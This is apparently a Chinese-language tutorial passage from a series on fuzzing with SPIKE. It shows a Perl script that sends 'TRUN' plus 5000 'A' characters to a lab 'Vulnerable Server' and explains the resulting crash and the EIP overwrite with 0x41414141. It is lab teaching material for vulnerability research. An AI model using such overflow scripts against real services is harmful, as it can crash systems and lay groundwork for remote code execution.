Fuzzing-用SPIKE挖掘漏洞(18)
时间:2025-02-23
时间:2025-02-23
详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程
die("Usage: $0 IP_ADDRESS PORTnn"); # help message shown if too few variables
are provided
}
$baddata = "TRUN /.:/"; # sets variable $badata to "TRUN /.:/"
$baddata .= "A" x 5000; # appends 5000 "A" characters to $baddata variable
$socket = IO::Socket::INET->new( # creates a new socket
Proto => "tcp",
PeerAddr => "$ARGV[0]", # IP address - command line variable 1
PeerPort => "$ARGV[1]" # TCP port number - command line variable 2
) or die "Cannot connect to $ARGV[0]:$ARGV[1]"; # error shown if socket connection cannot be established
$socket->recv($serverdata, 1024); # receives 1024 bytes of data from socket to capture Welcome message
print "$serverdata"; # prints out received data
$socket->send($baddata); # sends data in $baddata over socket
这些代码在$baddata变量中存储了恰当的fuzz字符串,建立了一个到IP地址的TCP套接字,在命令行上指定端口,通过套接字接收打印Welcome信息,发送fuzz数据到服务器。
保存致谢代码到“trun.pl”文件,给与其可执行权限(chmod +x trun.pl ),运行它: root@bt4r1vm:~/fuzzing# ./trun.pl 192.168.56.101 9999
Welcome to Vulnerable Server! Enter HELP for help.
这时检查调试器,我们会看到相同的违规访问报错。我们发现了一个导致程序崩溃的bug.作为一个奖励,我们发送的数据已经控制了CPU的一个非常重要的寄存器-EIP寄存器(扩展指令寄存器)。
看一下EIP寄存器是如何包含值41414141的呢?
既然EIP是4byte(32bit)的寄存器,保存来里面的值-41414141(时间上是16进制的0x41414141)是由4个16进制个体0x41组成。0x41转换成ASCII码是什么的,是的,正式大写字母“A”。我们可以用perl打印输出“x41”来证明。
下一篇:科学探究:浮力的大小